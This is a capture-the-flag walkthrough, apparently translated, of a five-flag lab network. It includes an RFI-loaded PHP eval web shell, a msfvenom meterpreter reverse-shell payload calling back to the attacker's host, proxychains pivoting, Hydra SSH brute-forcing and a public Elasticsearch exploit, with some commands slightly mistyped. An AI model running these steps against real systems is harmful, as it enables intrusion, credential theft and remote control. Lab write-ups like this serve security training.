Suchen

Network Topology Diagram

First flag:#

Host discovery:

192.168.56.101 is the target host

Nmap -sn -PR -T4 192.168.56.0/24

Port scanning:

Nmap -p- -A 192.168.56.101

Open ports: 22, 8000, 9000

Port access:

8000:

9000:

Suspected file inclusion vulnerability

192.168.56.101/?file=../../../../../../../etc/passwd

Path traversal vulnerability exists

Build a one-liner web shell file on Kali and start the HTTP service.

<?php @eval($_POST[‘hack’];?>

Python -m http.server 80

Remote access to the web shell file:

192.168.56.101/?file=http://192.168.56.102:80

AntSword online:

Obtained the first flag:

flag{the_game_is_on}

After submitting the flag, received a new hint, the internal network environment is: 172.17.0.3-254

Begin internal network penetration.

Second flag:#

Create and upload a trojan file using Msf:

Upload the trojan and start internal network penetration

Msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.56.102 lport=6666 -f elf > hack.elf

Start listening with Msf

Use exploit/multi/handler

Set payload linux/x64/meterpreter/reverse_tcp

Set lhost 192.168.56.102

Set lport 6666

exploit

Grant permissions to the trojan file on the target machine and execute:

Chmod 777 hack.elf

./hack.elf

Add internal network route:

Run autoroute -s 172.17.0.0/24

Start Msf socks proxy:

Bg

Use auxiliary/server/socks_proxy

Set srvhost 127.0.0.1

Set srvhost 1080

Run

Also modify the proxychains file

Vim /etc/proxychains4.conf

Socks5 127.0.0.1 1080

Scan the internal network's port 80:

Proxychains4 nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80

Access 172.17.0.4:80

Found that file upload is possible, but requires a password. Attempt to use Burp Suite to capture packets for password brute-forcing:

Set up proxy service in Firefox:

Set up socks proxy in Burp Suite:

Start capturing packets, based on the returned length, the password is found.

Upload a one-liner web shell to the target machine and access that shell file:

Set up socks5 proxy on China AntSword:

Go online with AntSword:

Obtain the second flag:

flag{picture_is_worth_1000_words}

After submitting the flag, received a new hint:

Obtained some usernames and MD5 encrypted passwords, and prompted to try using SSH for attack.

Third flag:#

Scan the internal network for the target machine with port 22 open:

Found host 172.17.0.10:22

Proxychains4 nmap -sV -sT -Pn -p22 172.17.0.0/24

Use Kali's built-in Hydra for password brute-forcing:

Proxychains4 hydra -L username.txt -P password.txt ssh://172.17.0.10

Successfully cracked the account and password:

root weapons

SSH login to 172.17.0.10 and obtain the third flag:

Proxychains4 ssh root@172.17.0.10

flag{what_weapons}

After submitting the flag, received a new hint:

New username and password, and prompted that chat services may be open on ports 443, 8000, 8080, 8888

Fourth flag:#

Conduct a port scan on the internal network:

Proxychains4 nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p443,8000,8080

Found host: 172.17.0.11:8000

Access 172.17.0.11:8000 shows a login is required, log in with the given username and password:

Username: buyer13

Password: arms13

Found that the password can be changed, possibly a logic vulnerability for arbitrary password modification, use Burp Suite to capture packets and attempt to modify the password for admin:

Log in again, use admin to log in, successfully logged in:

Obtain the flag:

flag{on_the_move}

After submitting the flag, received a new hint:

Used Elasticsearch, usually runs on port 9200.

Elasticsearch is an open-source, highly scalable distributed full-text search engine that listens on port 9200 by default.

Fifth flag:#

Conduct a port scan on the internal network for port 9200:

Proxychains4 nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p9200

Found host: 172.17.0.12:9200

Use Kali to search for exploitable code related to Elasticsearch:

Searchsploit -t Elasticsearch

Cp /usr/share/exploitdb/exploits/linux/remote/36337.py /home/kali/Desktop

Attack 172.17.0.12:9200:

Proxychains4 python 36337.py 172.17.0.12

Successfully obtained the last flag:

flag{game_over}

After submitting the last flag, the target environment indicates that the IP has been banned and cannot be accessed again.

Thus, the results conclude the penetration of the target environment.

If you have any questions, feel free to consult:
ace@pomeow.com